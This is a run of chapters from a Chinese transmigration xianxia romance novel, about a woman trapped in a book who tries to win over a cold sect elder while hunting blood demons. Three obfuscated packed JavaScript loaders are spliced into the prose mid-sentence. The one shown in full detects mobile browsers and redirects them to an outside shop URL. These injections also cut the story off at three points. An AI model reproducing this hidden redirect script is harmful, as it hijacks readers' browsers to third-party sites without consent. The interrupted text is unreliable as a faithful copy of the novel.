她看向纪无冥,只见他眉头深皱,紧紧握着手中的剑,似乎有些无措。 柳辛歆心一横,朝着众人喊道:“各位请放心!我们来此就是为了解决廖城瘟疫一事。我旁边这位是圣清门的七长老,有他在廖城的瘟疫肯定能很快解决的。所以还请各位行个方便,允许我们在城中调查一番。” 此话一出,人群中有人道:“原来是七长老到此抓妖。快让开!都快让开!别耽误了仙长抓妖。” 不多时,众人就给他们腾出了一条宽阔的大道。真不愧是大男主,名字一出众人皆俯首称臣、唯命是从、毕恭毕敬、奉若神明……咳咳,有点夸张了。 柳辛歆道:“有劳各位了。”转头又对纪无冥道:“师叔我们走吧。” 纪无冥意味深长地看了她一眼,没有说话,“嗯”了一声,迈步往里走。 二人在城中找了一家还开着的店,开了两间房间。纪无冥将牌子给她,道:“你先回房,我去城外查看一下情况。” 柳辛歆想也没想就答应了。根据她对纪无冥的了解,他一定嫌她碍事,觉得一个人比较方便查看。不过她一个开天眼玩家,根本就不需要去做调查这种辛苦的工作。 昨日她就已经提前看过纪无冥的任务内容了。南方瘟疫爆发,许多人一夜之间白头,身上发热,一病不起。众医者对此都束手无策,查不出根源,这才请仙门弟子下山救命。纪无冥下山到南方后,不出三天事情就解决了。引起这场瘟疫的始作俑者是一只白脸猴。其实,这根本不是什么瘟疫,而是一种诅咒。解开诅咒有两种方法,一是施咒者自行解除,二是杀死施咒者。很显然,纪无冥用的是第二种。 据说白脸猴不是普通的妖,而是血妖。血妖和普通妖的区别在于,他们并非自然天地灵气所孕育而生。 血妖还有个名字,叫亡人血。顾名思义,就是由死人的血形成的。能形成血妖的亡人血,大多生前怨念极深,死后不得安宁,因此变成血妖前来索命。 前面说到怨念,她还能理解,但为何说它们是来索命的,她不得而知。此前也说过,她并未真正看过《血妖之子》这本小说,只是听男朋友讲过许多遍。但她男朋友也只会讲自己喜欢的部分,不可能事无巨细地同她讲。而那个死系统也只是做了个简单的介绍。 冷不丁,系统“叮”的一声,道:【魅力值+10000。】 她没有听错吧!一万!她就在医馆随便说了几句话,就加了一万的魅力值!这一趟还真没白来啊! 她再点开攻略值那一栏: 竟然归零了!柳辛歆激动得从床上跳下来做了套广播体操。照这个进度下去,回家之日指日可待啊!哈哈哈哈哈哈哈!!! “......” 兴奋过后,柳辛歆躺在床上开始不安了起来。她总觉得事情进展的太过于顺利了,像极了暴风雨前的宁静。她一定要冷静,不能被眼前的假象给迷惑了。那可是无情道大男主啊!怎么可能这么轻松就被攻略了。 晚上,纪无冥从外面调查回来,她贴心地给对方送上了晚饭,又是端茶又是倒水。 纪无冥道:“有事?” 柳辛歆一脸殷勤道:“师叔今日可有什么收获?” 纪无冥摇了摇头道:“没抓到,让它逃了。” 第一天就找到了妖的藏身之处,这还不算有收获? 柳辛歆道:“师叔可知是什么妖在作祟?” 纪无冥再次摇头,道:“只能确定是只血妖。” 见他两次摇头,柳辛歆莫名有些得意,原来考试时发现自己都知道答案是这种感觉。等到了明日,她一定要让纪无冥刮目相看。 说起血妖,她倒是想起来另外一件事情。 8. 血妖现身 江玉仙,唯一一位能跟纪无冥匹敌的,另一位无情道天才。在《血妖之子》上篇的结局中,纪无冥血妖身份暴露被昔日同门围剿,危在旦夕之际,柳辛歆以命相护为他争取逃走的机会。而给她致命一击的那个人便是江玉仙,柳辛歆的师姐。 按照上篇的剧情,她几乎全文都在闭关,只有在讨伐男主时出现过一次。从头至尾她名字出现的次数比本人多得多。总之呢,本文的女性角色戏份都少得可怜,说工具人都是抬高她们了。 男主风光的时候,她们不见踪影,各自安好,这也不差。男主若是遇到麻烦,她们就该出来挡枪了。关键是本文男主不玩后宫,倒贴也没用。跟他扯上关系的,轻则遍体鳞伤,重则一命呜呼,至此女性角色的使命便结束了。柳辛歆就是个顶好的例子。 纪无冥重伤逃走后,名声一夜之间烂进泥里,谁都能在上面踩一脚。所有人开始畏惧他,远离他。先前的独来独往,话少,冷淡的个性,现如今又被说成了冷血、无情。 师门容不下他,世人驱赶他,还有人扬言要举众人之力除掉他。没有办法,他最终只能落魄地逃走了。至于逃去哪里,对此众说纷纭,说哪里的都有,不过猜测最多的地方还是妖界。猜测的理由很简单,因为他是妖嘛。 上篇以男主暴露血妖身份逃走结尾,留下许多伏笔和疑问。这不禁让人好奇作者在下篇会呈现一个怎样的故事?纪无冥从宗门逃走后去了哪里?是回到妖界还是继续待在人界?血妖和人之间隔着血海深仇,他该怎么做?他入圣清门的目的是什么?以及,他真的是血妖吗? 一个在上篇混得风生水起,受众人追捧,收获无数好评的男主,却在结局失去所有落荒而逃。这是何等的狼狈啊。她认为下篇才是这篇文的重头戏。 据她所知,《血妖之子》算是一部冷门小说。至于冷门到什么程度呢?那就是完结了还悄无声息,仿佛设置了仅朋友可见。若不是看到那条:“无情道鼻祖纪无冥诚不欺我!!!”的朋友圈,她都不知道下篇已经出来了。 也正是因为那条朋友圈,她才会被无良系统恶意绑定,扔到了这个鬼地方。虽说拉她进这里的是那个黑心系统,但如果不是那条朋友圈,她怎么会好奇去点开那篇文?这怎么不算变相的帮凶? 该抱怨抱怨,该做任务的时候她还是得老老实实做任务。 廖城外,二人来到昨日纪无冥跟丢血妖的密林中。即将进林子时,纪无冥突然停住脚步,转头对她道:“那血妖是只半妖,我一个人对付足矣。” 前几次事事都顺着他,这次她决心要装一波大的,成功了便是魅力值、攻略进度双丰收,怎么可能轻易放过。柳辛歆道:“师叔昨日不是没看清它的样貌吗?怎知它是半妖?” 纪无冥道:“直觉。” 柳辛歆:“既不厉害,何不让弟子代劳?如果什么事都由师叔亲自动手,我又怎能算得上历练?” 纪无冥垂眼沉思片刻,视线在林中徘徊,很快往里走去,边道:“随你吧,别离我太远。” 要换做其他人,她肯定觉得对方一定是在关心自己,别离我太远,我怕顾不到你。但纪无冥绝对不是这意思,他的意思是别离我太远,到时候你被妖伤到了抓走了,还得给我添麻烦。 柳辛歆小跑两步跟上他,道:“师叔可莫要小瞧了我,到时谁先找到血妖可还不一定呢。” 纪无冥瞥了她一眼,发出一声很轻的笑。看着那张冷若冰霜的脸,有一瞬间,她都怀疑自己是不是听错了。 二人在林中绕了好几圈,却始终没有看见白脸猴的踪影,只在树皮上看见几根猴毛。只怕是昨日纪无冥没追到它,叫它逃了。柳辛歆道:“纪师叔,看来那只血妖已经不在这里了。如果它逃走了,那可就麻烦了。” 纪无冥道:“不会的,他一定还没逃远。” 柳辛歆思索道:“那血妖善于躲在形势复杂之地,来时我看见不远处就有一座山谷,不知它会不会在那里。” 纪无冥:“去看看便知了。” 山谷中怪石嶙峋,树影交错,虽没有密林难行,但周围的石树大同小异,容易让人迷失方向。那白脸猴八成是躲在了这里。 她表面跟在纪无冥后面找血妖,实则在想怎么和他分开。他们若是一起找到了血妖,不用想,肯定会被纪无冥秒杀。如此一来,魅力值定会大打折扣。 心动不如行动,柳辛歆喊住面前的人,道:“纪师叔,这血妖极其狡猾,善于躲藏,弟子以为我们可以分头行动,这样才能事半功倍。” 纪无冥不耐烦道:“我不是说过让你别离我太远吗?” 柳辛歆道:“师叔,弟子方才也说过了,莫要小看了我。现在城中百姓正受着瘟疫的折磨,你我争辩的这段时间就有可能再有人死去,我们没多少时间了。” 面前的人停下脚步,因为是背对着她的,所以她看不到对方的表情。只听纪无冥道:“那就分开。切记,若是你先找到血妖,不可直接触碰他。” 柳辛歆点头,道:“弟子明白。” 不用纪无冥说她也清楚,白脸猴身上的毛就是瘟疫来源。人一旦碰到就会被感染,全身开始发热失去行动能力,头发也会开始变得雪白。 根据她的回忆,那个血妖白脸猴善隐于林,喜欢躲在粗壮的大树或者体型较大的石头里。昨夜白脸猴应该就是借着密林之中的树来回穿梭,才逃过了纪无冥的追踪。 不过单凭这一点,它还不足以在纪无冥眼皮底下逃走。血妖和普通妖还有个不一样的点,也是最麻烦的一点,血妖身上没有妖气,所以无从追踪。若是发现血妖必须穷追不舍,一旦让它离开你的视线超过三秒钟,再想找到就难了。 在一堆乱石之中,柳辛歆一眼看中了最大最显眼的那一个。她捡起一颗小石子拿在手里掂了掂,抱着试试的心态甩手飞出,突然那怪石“啊”的一声惨叫。 竟然一击就中,真是出乎意料的准啊! 那石头开始剧烈抖动,就在她以为对方要破石而出时,一道黄光飞出化身成一个半妖不人的东西,白脸黄毛,獠牙裸露,相貌十分骇人,长着人身,后方却有一根毛茸茸的细尾高高竖起。 额,长得还真是有点草率啊。不过好歹能让人一眼就看出它就是白脸猴。 白脸猴揉了揉自己的肩膀,道:“臭娘们,疼死我了!怎么换了个人,昨天那个冰块脸呢?” 柳辛歆道:“冰块脸?啊,你说的是我师叔啊。他就在这里,不过在他来之前我就先宰了你。” 不等对方反应,她折下旁边的一根树枝就冲了上去,动手前放狠话之类的举动就没必要了。以大男主的牛逼程度,他们再多聊两句纪无冥就能赶过来。 柳辛歆手握树枝如握剑,挥出的剑气威力巨大,将周围的石头全击成了碎石。还真以为她刚来的那几天都在浑水摸鱼吗? 白脸猴受不住剑气,倒在地上口吐鲜血,抬手抓上自己的手臂,几根猴毛冲她飞了过来。她抬手将带树叶的树枝挡在身前,顺势转了几圈,抛向一旁。 而此时纪无冥不知何时闪到了她的旁边,道:“血妖呢?” 转头一看,方才白脸猴待过的地方只留下了一滩血。 柳辛歆不假思索,指着一边,道:“纪师叔你从这边追,我从另一边追,我们分头包抄,它逃不掉的。” 纪无冥朝她点了下头,就顺着她指的方向追去了。 柳辛歆快速用手掐诀,幻出几片璀璨的桃花瓣,在空中跃跃欲试。她手一挥那些花瓣如狂蜂采蜜般迅速飞出,没跑出多远,花瓣又如万剑疯狂扫射面前的大树。 她使的此术名为,捕蜂抓影,五长老尤璃所创。只要将此术打在对方身上,无论跑多远都能找到,就跟身上装了定位一个道理。 随着一声惨叫,白脸猴跪倒在地。正当柳辛歆准备给它最后一击时,白脸猴道:“你胸前的铃铛我好像在哪里见过。” 柳辛歆眉头一皱,一步步向他靠近,谨慎道:“你在哪里见过?” 对方不理她,口含鲜血继续道:“那个铃铛可不一般啊,哈哈哈哈哈。” 柳辛歆:“你给我说清楚!” 白脸猴抬起细长干枯的手指向她,还未开口,纪无冥如厉鬼现行,抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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纪无冥将她送回桃林后,便前往霍掌门的竹林汇报情况。霍掌门的竹林位于另一座山头,而纪无冥与五长老所在的这座山其实才是主山。 只因纪无冥住的山顶后山,是前任长老闻人奏住过的地方。纪无冥是他最小的弟子,也是关门弟子。闻人奏将所有东西都传给纪无冥后就归隐了,不料,没多久就传来了他的死讯。在《血妖之子》上篇中,直到最后闻人奏的死都还未解开。 五长老尤璃是闻人奏最喜欢的弟子,天赋惊人远胜许多男子,性子洒脱讨喜。她虽然是五长老,年龄却不大,是除纪无冥外长老中最小的一位。她不仅受掌门的喜爱,同每一位长老的关系都很好,就连三长老也不例外。这也是为何五长老可以到处溜达,不在山上也没关系的原因,被人宠着就是任性。 柳辛歆四肢伸展躺在床上,将胸前铃铛握在手里仔细查看并不拿下来。只用肉眼看的话,除了能看见几道细长的刮痕看不出别的。 穿书的第一天她就注意到了这两个小铃铛,只是一直都没在意过,以为是原主的贴身信物之类的东西,也没想过要摘下来看看。不过她就算是看,又能看出什么呢?也不知那白脸猴到底要跟她说什么。 柳辛歆道:“我想查看纪无冥的身世背景。” 缺牙齿:【纪无冥自小父母双亡,一个人流离失所十余年。恰巧当时的圣清门掌门闻人邹下山游历,见其根骨清奇、天赋卓绝,一眼就……】 柳辛歆:“停停停!我要看的是身世背景,你给我把原文念出来做什么?” 缺牙齿:【这就是男主的身世背景。】 柳辛歆一手扶额,觉得有些头疼。她无力道:“那我看我自己的总行吧。” 缺牙齿:【记忆碎片需要通过魅力值购买。普通碎片10000魅力值,特殊碎片99999魅力值。】 柳辛歆道:“有记忆碎片这种东西你怎么不早点告诉我?” 她已经开始后悔没看过原文了。 缺牙齿:【您没问。】 “。。。。。。” 柳辛歆再次问道:“我现在有多少魅力值?” 缺牙齿:【您现有魅力值111100,扣除88886,您还剩22214,可购买普通记忆碎片。】 柳辛歆:“特殊碎片为什么贵了这么多?” 缺牙齿:【因为它特殊。】 呵呵,说得的真够精确的。看来那两块金色碎片才是最主要的部分,其余的紫色碎片可以暂且不管。 9. 开业失败 桃林之中,柳辛歆侧躺在树下,一手撑着脑袋闭目养神,神情散漫。微风徐徐,桃花漫天飞舞,呈一幅悠然自得之景。 自上次她和纪无冥一起从廖城回来后,他们的关系明显好了不少。是的,好了“不少”,她自认为是这样。刚开始的时候,只要她多看纪无冥一眼,对方都会关她禁闭。现在她邀他一起出去吃饭,让他陪自己练剑,喊他尝自己做的桃花饼,他全都答应,就连去他的小屋对方都没有意见。 纪无冥的小屋实在简陋,里面就三样东西,床、桌子和一个打坐用的蒲团,实在没有看头。每回去他家,柳辛歆就只能坐在他的床上。不过近几日有所改观,纪无冥似乎意识到总让她坐床上不太妥,所以也给她弄了个蒲团。于是就出现了两人坐在蒲团上一起打坐的场景。 此情此景,虽算不得暧昧,但也算得上温馨吧。抛开禁闭不说,二人相处还算融洽,至少比想象中要顺利许多。按理来说,那三项数值不蹭蹭蹭往上涨,也应该蹭、蹭、蹭往上涨吧。一个都不动是几个意思啊?难道说,这些事情在纪无冥的眼里都很平常,完全不值得他心情有所起伏吗? 糟心事还不止这一件。她从廖城回来这些天,就一直在桃林里守着辛理事务所。大半个月过去了,还是无人问津。 他们这座山上除了偶尔有到松林练剑的弟子,其余时间就只有她和纪无冥两个人。唯一有人光顾的机会就是每天的晨练,但现在的弟子都是御剑飞行,谁会浪费时间走路下山呢?而且还是偏后山的位置。 她也想过弄个类似于霓虹灯之类的小法术,但这个方法马上被她否决了。霓虹灯招来的是弟子还好,要是把哪位不好说话的长老招过来了,圣清门怕是要多加一条门规了。纪无冥不关心修炼以外的这些破事,不代表其他长老也是如此,她还是谨慎些比较好。 抱着这样谨慎的心态,结果就是毫无进展。 柳辛歆嗖的睁开眼,心想挣不到魅力值也没有办法,攻略任务可不能就此放弃,这可关乎她能不能活着回家啊。 来到后山,她一手提着点心,另一手敲了敲面前的小屋。 须臾,背后传来一道清冽的声音:“别敲了,七长老不在。” 她一回头,明渊两手交叉抱臂,背靠这树,露齿浅笑,清俊的脸上藏不住的孩子气。明渊站直身体,对她拱手道:“见过师姐。” 柳辛歆回了一礼,道:“那你可知纪师叔去哪里了?” 明渊昂着脑袋,一脸得意道:“我当然知道。因为就是我看着师叔走的。” 柳辛歆看出他就是想故意吊自己胃口,小男孩嘛,都爱玩这套。即使对方不说,她也知道纪无冥定是又去哪里出任务了。 在原文中,纪无冥每天不是在修炼,就是在打怪,不是打怪就是修炼,循环往复。翻译过来,就是装×耍帅,耍帅装×。 柳辛歆道:“师叔既然不在,那我就先走了。” 明渊面色一变,急道:“你不问我七长老去了何处吗?” 柳辛歆莞尔一笑,平和道:“没必要,我已经猜到了。” 明渊道:“不可能!这事才刚刚传过来。” 柳辛歆道:“这很难猜吗?师叔既然不在山上,除了下山除妖,我还真想不到别的。” 说完,她转身往山下走去了。 不料,明渊穷追不舍,跟在她身后喊道:“你只知师叔下山抓妖,那你肯定不知道他去了何处。” 柳辛歆没有停步也没有回头,冷哼一声,道:“去的北方,白马山庄。” 此话一出,明渊瞬间愣住了。白马山庄的信是午时送来的,他师父只将信的内容告诉过他,而他第一时间就将这件事告诉了七长老,柳辛歆又是如何得知的?难不成她真有什么未卜先知的神通? 在他发呆的间隙,柳辛歆已经走掉了。他正想要不要追上去的时候,突然注意到一旁岩壁上写着什么东西。 回到桃林后,柳辛歆一人坐到亭子里,手里还拿着一根桃枝,桃花一瓣接一瓣落到地上。纪无冥这老家伙,竟然说走就走,连个招呼都不打。她本来任务就毫无进展,就指望着跟他出任务赚点魅力值,现在他这么一走,什么都没了 她要是有剑在手的话,还能追上他。 等等,商城一把普通的剑要10000魅力值,而她还剩两万多,完全够用的啊。等他追上纪无冥,帮他完成任务后,肯定能赚不少。 她快速点进商城,在购物车中找到上次的剑点击购买。不多时,一把闪着银光的剑就掉在了她的面前。她跑进屋里,随便收拾了些衣物,拿起剑就准备出门。 门刚一开,就见明渊抬起手似要敲门,见到她一手握剑,一手背着包袱,一脸惊讶的望着她,道:“师姐,你这是要出远门?” 柳辛歆否认道:“没啊。我就是想去松林练剑。” 明渊道:“那你身上为何还背着包袱?” 柳辛歆将包袱往后挪了一下,一本正经道:“我怕练剑的时候会饿,所以拿了些吃的。” 明渊半信半疑道:“背这么多?” 柳辛歆心不在焉道:“还行吧。别说我了,你找我有事?” 明渊道:“我看到桃林外岩壁上的字了,所以....师姐现在没有时间就算了。” 见对方转身准备离开,柳辛歆赶紧道:“等等,先别走。我突然想改日再练剑了,你进来吧。” 闻言,对方两眼发亮,面上有些受宠若惊。柳辛歆指着一旁的珍珠幕帘,道:“先去书房等我。” 等明渊掀开帘子走进去,她立马关上房门,将包袱扔到了床上。 她得想办法先把明渊糊弄过去,不然以他倔强、认准事情不罢休的性子,很可能会去松林堵她。若是等不到她,指不定会联想到些什么。 她进到书房,明渊正老老实实坐在书房的椅子上,眼睛四处打量她的小屋,见她进来,道:“柳师姐,你住得也太好了吧。” 柳辛歆谦虚道:“还行吧。主要是桃林人少,近几年都没进过几个弟子。” 明渊叹道:“哎,若不是五长老不在,我本该也能进入桃林的。” 柳辛歆给他倒了杯茶,抬眼看了对方一眼,道:“怎么这幅模样,二长老那边住的不好?” 明渊悄声道:“倒也不是不好,不过自然是比不上桃林的,我们一个房间有四个弟子。” 这不就跟大学宿舍差不多嘛。柳辛歆点了下头,道:“也还行啊。” 明渊继续道:“二长老有洁癖,我们每日起床必须要将房间整理得规规矩矩的,而且不能说粗鲁的话,否则就要被关禁闭。跟我一起被选进来的一名弟子,已经被关了三次寒洞了,现在老实得不行。” 柳辛歆道:“真是难为你们了。那么你是来算卦还是有什么心事?” 明渊道:“心事也能跟你说吗?” 柳辛歆道:“当然。” 明渊道:“那你会不会说出去?” 柳辛歆道:“我若是直接说不会,你也很难相信。我这么跟你说吧。干我们这一行的都跟魔鬼签订了血书,要随便将别人的秘密说出去,是会暴毙而亡的。” 明渊立马开心道:“那我就放心了。” 柳辛歆道:“所以你想问什么?” 明渊:“我想知道怎么跟七长老打好关系。” 柳辛歆内心os:???小兄弟,你好歹是无情道天才弟子,能不能问点正经问题啊!况且,她若是知道这个问题的答案,攻略进度早就起飞,早就滚回家去了好吗? 柳辛歆清了清嗓子,拿起茶杯喝一口,脑子里疯狂想对策。她道:“据我了解,先说好,这只是我个人的见解,你随便听听就好,不必全听。” 明渊点了点头。 她继续道:“据我了解,七长老此人,性格极其冷淡,而且不喜欢不上进的弟子,也不喜欢别人主动找他说话。简单概括就是,除非他想跟你说话,否则别去烦他,就这么简单。” 明渊道:“就这样?” 柳辛歆道:“是的。” 明渊:“你的意思是想和七长老打好关系的话,全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳辛歆面向朝她跑来的众人,看着对面一个个激动还带着点好奇的表情,她好像明白什么了。她试探道:“你们.....都是来算卦的?” 其中一名女弟子兴奋道:“对啊,对啊。” 柳辛歆道:“你们是自己看见的招牌,还是听人说的?” 那女弟子老实道:“是明渊说的,他说您算的特准!” 另一名女弟子道:“柳师姐,您这是要出门吗?” 柳辛歆将包袱卸下,正色道:“没有,你们谁先来?” 众人:“我,我,我。” 柳辛歆随便指了一个,道:“就你了,跟我进来。” 进到房中,她让对方先进书房等她,自己则打开房门将包袱一甩,动作熟练得可怕。 柳辛歆看着对方一副娇羞的模样,不用想都知道对方要问什么了。她道:“你可是要问关于七长老的事?” 那女弟子一脸敬佩,道:“柳师姐果真有神通,我这还没说呢,你就知道了。” 我的天啊!这不是圣清门无情道天才聚集地吗?他们这样真的没问题吗? 柳辛歆道:“关于七长老,我的回答都是一样的。除非他主动,否则你们都没戏。” 那女弟子露出了和昨日明渊一样的表情。 柳辛歆道:“那么你还有要问的吗?” 女弟子摇了摇头,一脸绝望道:“当初我就是为了进入七长老门下才来的圣清门。” 柳辛歆道:“师妹,听师姐一句劝。你这种想法在圣清门很危险,搞不好是要被逐出师门的。” 女弟子道:“既然不能去七长老门下,那还不如就被逐出师门呢。” 柳辛歆苦口婆心道:“师妹,无论什么时候都不要为了别人去改变自己,你应该是为了成为更好的自己而去改变。好了,你回去自己想想吧。” 对方起身时,她往桌上瞥了一眼,道:“你的银子忘拿了。” 那女弟子道:“那不是我的啊。哦,对了,我忘记给钱了。” 说着,掏出了五个铜板放在了桌上,朝着她鞠了一躬,就出去了。 当她出门想喊下一个时,方才还满是人的院子,一下子清空了。 这是触发了女配看见男主就自动倒贴的设定吗?她们到底是怎么从纪无冥眼皮底下过的啊?话说,这个时候宋长荣去哪里了?这里这么多恋爱脑她看不见吗? 10. 白马山庄1 白马山庄,玄虚楼。 阁楼内视线忽明忽暗,男子手握铁拳用力砸向下面前火红的烙铁,打铁声响,火花四溅。他只穿了一件坎肩,能清楚看见皮肤上渗出的汗水,炉中的火光将对方的脸照得通红。 在他的后方漆黑的墙壁上,挂着几柄刀剑,其中一面破碎的铜镜格外惹眼。破碎的镜片中,忽然闪过一道白影,不适时地出现在了对方的身旁,手上提着一个鼓鼓的包袱,头发半束半披,额前碎发自然垂落,玉面冷颜,宛如遗世冰山。 穿坎肩的男子注意到旁边的人,抬眼看了眼,没有停下手上的动作,道:“呦,七长老,您材料都找齐了?” 纪无冥将包袱轻手放在一旁的空桌上,道:“找齐了。” 闻言,男子停下手中的动作,走到桌前将包袱打开,各色晶石在里面闪闪发光。 坎肩男子啧啧道:“这么短的时间内找到这些可不容易啊。” 纪无冥不想过多地聊其他,直接问对方道:“多久能锻好?” 坎肩男子在包袱里面翻翻找找,边回道:“这把剑用的都是上好的材料,做工方面自然要格外的精细,这怎么也得花一个月的时间。” 纪无冥转身道:“一个月后,我来取剑。” 等他走后,坎肩男子拿出一张锻剑的图纸,看了眼纪无冥走的方向,道:“长得一副冷掉渣的脸,对心上人倒是挺上心。” 纪无冥将东西送到玄虚楼后,左转出了山庄。此次他来白马山庄是为除妖,但锻剑一事却早有想法。昨日刚将材料凑齐,凑巧今日就到了白马山庄。而他前脚刚出山庄,柳辛歆后脚就赶到了,也是凑巧。 白马山庄是最有名的法宝锻造之地,名剑排行榜前十的剑出处都是玄虚楼,纪无冥的那柄断春水也是出自那里。这里街上随便一个铺子的剑都贵得吓人,她的全部家当加起来都买不起这里的一把剑,倒不如填饱肚子来得实在。 柳辛歆一到山庄就开始大吃大喝,尝遍山庄的各色美食,吃饱喝足后进了一家客栈要了间房间。 客栈老板却跟她说:“抱歉啊,仙长,本店已经客满了。近几日山庄不太平,各门各派都陆续来了许多人,连柴房都住不下了。” 柳辛歆道:“这么夸张!在山庄作祟的是何等妖,怎的来了这许多人都没杀死它?” 客栈老板压低声音对她道:“我上次听几位道长说是高级血妖。” 廖城事后,她也去补充了一下关于血妖方面的知识。低级血妖是半妖形态,只有一半人的思想,也就是说他们能口吐人言,用人的思维方式思考。但它们是自私的,直接点说,他们生来就是坏的。而高级血妖有九成人的思想,有着与常人同样的喜怒哀乐,具备明辨是非的能力。但剩下的一成自我思想,却是极端的,它们对一个人的信任只有一次,一旦发觉自己被欺骗被利用,它们就会疯狂报复,甚至不惜牵连无辜之人。因为身上没有妖气,血妖和人无异,只能通过照妖镜等法宝分辨出它们,是比普通万年大妖还恐怖的存在。 百年来血妖和人族似乎都默认了同一件事情,那便是二者是不可能和解的。血妖性格单一却极端、人狡猾、善变,最好的结果便是互不干扰。 柳辛歆道:“高级血妖向来是人不犯我我不犯人,它为何会突然袭击山庄?” 客栈老板道:“哎,说起这事可真是丢我们白马山庄的脸啊。” 几个月前,那只血妖来山庄游玩,本来这里的人也都不知道她是血妖,都把她当成外来人好好招待着,等她玩尽兴了再走,两方就相安无事了。偏偏有个作死的混蛋见那血妖身材婀娜,容貌楚楚动人,非要上去调笑两句。那名男子仗着自己有几分姿色,对那血妖花言巧语,一来二去就勾搭上了。这山庄也不大,谁家要发生点什么事,没几天就能人尽皆知。那男子和血妖的事情,很快就传进了他娘子的耳朵里。他家娘子也是个狠角色,带着一帮人拿着棍子就去抓奸了。那娘子不好惹,血妖更是不好惹,得知自己做了小,一怒之下,将包括男子在内的在场的所有男子全杀了。 此事一出,庄主让人连夜去给附近的临山派求助,但那种小门小派又怎是高级血妖的对手,派来的弟子都死伤惨重。那血妖因被那男子欺骗,便认定山庄里的男子皆是如此,发了狠要杀光这里所有的男子。临山派不敌,只能在山庄设下针对血妖的结界,勉强抵挡血妖。庄主又飞鸽传书,分别给各门各派求助。 柳辛歆若有所思地点了点头,又问道:“那你可曾见过圣清门的人来此住店?那人衣服上有银月刺绣,身高约莫八尺,不爱笑。” 此话一出,客栈老板突然咧嘴笑道:“见过,见过。你说的是七长老吧。他就在我们店里住着呢。您可是纪仙长的徒弟?” 柳辛歆道:“不是,我是他师侄。” 她跟客栈老板道了谢,又开始在街上优哉游哉。不知道纪无冥愿不愿意让她打个地铺? 柳辛歆将整个白马山庄都逛了个遍,她实在是逛不动了,在某家店铺外的空桌坐了下来。她屁股还没坐热,店里的小二一脸笑嘻嘻的问道:“这位客官要吃点什么吗?” 她今天吃了一天,现在真的吃不下任何东西了。刚想着怎么开口拒绝,对面有人朝她喊道:“姑娘!刚刚有位客人退房了,你可还需要住房吗?” 柳辛歆内心大喜,真是天助我也!她急忙起身道:“要的,要的。” 客栈老板道:“仙长,您要住几晚啊?” 柳辛歆将银子放在桌上,道:“先住两晚吧。” 老板道:“好勒。房间已经给您收拾好了,您头顶上那间就是。” 她上到二楼,走到老板说的那间房间门口。推门进去一看,房间整齐干净,通风也不错,面前有一道大窗户,可以看见街道的情况,正好可以看纪无冥什么时候回来。 直到晚上,她都没有看见纪无冥的身影,不知不觉就睡了过去。等她醒来时,已经到了第二天了。她昨晚太困了,甚至不记得自己什么时候关的窗,盖的被子。 柳辛歆在客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589380|205419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栈对面吃了早饭,打开纪无冥的任务栏一看,他竟然已经完成50%了。她来了这么久都没碰上纪无冥,看来这次注定是要空手而归了。 她脑子里正想着待会儿该去哪里消磨时间时,周身的空气开始振荡,面前的桌椅一阵一阵地抖动。一道强风毫无征兆地袭来,将整条街道的物件吹得东倒西歪。 不好!结界被破了。 霎时间,街道上多了一名穿着红色纱裙的女子,红裙将她皮肤衬得很白,秀丽的面容因愤怒而扭曲,她张着猩红的嘴唇道:“白马山庄的男人都该死,该死!该死!!!” 血妖竟然闯到这里面来了,不知纪无冥如何了。以他的实力来说,这种级别的血妖随便打打就成,现在这个情况,想必是出了什么意料之外的事情。 眼看血妖挥掌而下,她立马掏出自己的剑,一个闪身挡住了对方的攻击,抽空对蹲在后面的人道:“快走!” 身后的那名男子想也没想,拔腿就跑。 那红衣女子道:“你我同为女子,为何要救他们?” 柳辛歆盯着对方眨了眨眼,没想到那血妖还有名字,叫小芙。她对小芙道:“你已经报仇了不是吗?何至于滥杀这些无辜之人?” 小芙道:“你怎知他们是无辜的?物以类聚,人以群分,他们怎么可能无辜!” 我的天啊!这句话不是这么用的啊! 柳辛歆道:“你先冷静一点。这个山庄里还是有好人的,你不能因为那一个人就认为所有人都是那样的。” 小芙朝她大声吼道:“就是因为有你这种想法,才会有那么多人受到伤害。凡人女子就是优柔寡断,只要你们狠狠心,便不会受这么多苦了。” 柳辛歆:“那不是你可以滥杀的理由。” 小芙道:“为什么不可以?” 柳辛歆:“......” 她本就不善与人争辩,实在无法短时间内找到反驳对方的话,只能呆在原地不动。那血妖却以为她已经做出了选择,立马换了副面孔,眼神凶狠地盯着她,道:“你若是执意要护着他们,我就只能连你也一起杀了。” 还留守白马山庄的弟子早就潜伏在周围,准备随时动手,听到血妖的话,全都一哄而上了。山庄内的各门各派的弟子,打起架来毫无默契,一整个葫芦娃救爷爷,打得很丢脸。 柳辛歆的设定虽然是个炮灰,但好歹是圣清门弟子,实力怎么也不可能输给其他门派。来的这七天,她为了活命努力修炼,可她发现她根本无需很努力,因为原主的底子就在那里。 她趁着血妖和其他弟子打的间隙,寻找机会,伺机而动,朝着对方全力挥剑。不料被血妖察觉,两股力量相撞,偏偏在这个关键时刻,她的剑咔嚓一声断了。 !!! 她的胸口正中一击,喉咙滚热,喷出一口老血。正当她以为会撞到某个墙上,或者掉进某个废墟里时,她撞进了一个坚实的胸膛里。 纪无冥的声音离她很近,带着颤音:“我来晚了。” 11. 白马山庄2 她被纪无冥带到一条相对安全的小巷子里,对方一手轻拍在她的胸口上,她便感受到一股暖流流入体内,胸口的疼痛瞬间缓解了大半。 见到来的是他,柳辛歆瞬间就放下了心,男主角都登场了,再厉害的血妖拿下也是时间问题。她道:“多谢师叔出手相救。” 本是一句道谢的话,不料对方听了却脸色突变,脸黑得吓人,眼神冷厉带着怒意。纪无冥语气森冷,沉声道:“待我解决完这里的事,回去再好好罚你。” 